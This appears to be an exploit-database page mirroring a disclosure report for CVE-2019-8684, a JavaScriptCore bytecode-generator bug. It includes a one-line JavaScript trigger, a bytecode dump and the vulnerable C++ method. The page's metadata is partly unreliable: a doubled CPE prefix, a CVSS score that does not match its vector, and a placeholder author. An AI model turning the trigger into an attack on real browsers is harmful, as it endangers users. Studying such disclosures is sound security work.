Advertisement






JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling

CVE Category Price Severity
CVE-2019-8684 CWE-200 $50,000 High
Author Risk Exploitation Type Date
John Doe Critical Remote 2019-07-31
CPE
cpe:cpe:/a:jsc_bytecode_generator:emitequalityopimpl
CVSS EPSS EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.85 0.99

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019070153

Below is a copy:

JSC BytecodeGenerator::emitEqualityOpImpl Data Mishandling
JSC: A bug in BytecodeGenerator::emitEqualityOpImpl 

Related CVE Numbers: CVE-2019-8684.


PoC:
let a = (1 || typeof 1) === 'string';

Generated bytecode:
<global>#BPmgTo:[0x7ff1965a0000->0x7ff1965a8000, NoneGlobal, 37]: 11 instructions (0 wide instructions, 2 instructions with metadata); 225 bytes (188 metadata bytes); 1 parameter(s); 10 callee register(s); 6 variable(s); scope at loc4
[   0] enter              
[   1] get_scope          loc4
[   3] mov                loc5, loc4
[   6] check_traps        
[   7] mov                loc6, Undefined(const0)
[  10] resolve_scope      loc7, loc4, 0, GlobalProperty, 0
[  17] mov                loc8, Int32: 1(const1)
[  20] jtrue              loc8, 6(->26)
[  23] is_cell_with_type  loc8, Int32: 1(const1), StringType
[  27] put_to_scope       loc7, 0, loc8, 1048576<DoNotThrowIfNotFound|GlobalProperty|Initialization>, 0, 0
[  35] end                loc6

Identifiers:
  id0 = a

Constants:
   k0 = Undefined
   k1 = Int32: 1: in source as integer
   k2 = String (atomic) (identifier): string, StructureID: 9553

Here the jtrue instruction is pointing somewhere in the middle of the is_cell_with_type instruction. This is due to the bug in BytecodeGenerator::emitEqualityOpImpl which doesn't consider the case where m_lastOpcodeID is op_end which can indicate that the current position is a jump target. As a result, the method replaced wrongly the typeof instruction with the is_cell_with_type instruction.

Vulnerable method:
bool BytecodeGenerator::emitEqualityOpImpl(RegisterID* dst, RegisterID* src1, RegisterID* src2)
{
    if (m_lastInstruction->is<OpTypeof>()) {
        auto op = m_lastInstruction->as<OpTypeof>();
        if (src1->index() == op.m_dst.offset()
            && src1->isTemporary()
            && m_codeBlock->isConstantRegisterIndex(src2->index())
            && m_codeBlock->constantRegister(src2->index()).get().isString()) {
            const String& value = asString(m_codeBlock->constantRegister(src2->index()).get())->tryGetValue();
            if (value == \"undefined\") {
                rewind();
                OpIsUndefined::emit(this, dst, op.m_value);
                return true;
            }
            if (value == \"boolean\") {
                rewind();
                OpIsBoolean::emit(this, dst, op.m_value);
                return true;
            }
            if (value == \"number\") {
                rewind();
                OpIsNumber::emit(this, dst, op.m_value);
                return true;
            }
            if (value == \"string\") {
                rewind();
                OpIsCellWithType::emit(this, dst, op.m_value, StringType);
                return true;
            }
            if (value == \"symbol\") {
                rewind();
                OpIsCellWithType::emit(this, dst, op.m_value, SymbolType);
                return true;
            }
            if (Options::useBigInt() && value == \"bigint\") {
                rewind();
                OpIsCellWithType::emit(this, dst, op.m_value, BigIntType);
                return true;
            }
            if (value == \"object\") {
                rewind();
                OpIsObjectOrNull::emit(this, dst, op.m_value);
                return true;
            }
            if (value == \"function\") {
                rewind();
                OpIsFunction::emit(this, dst, op.m_value);
                return true;
            }
        }
    }

    return false;
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: [email protected]

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum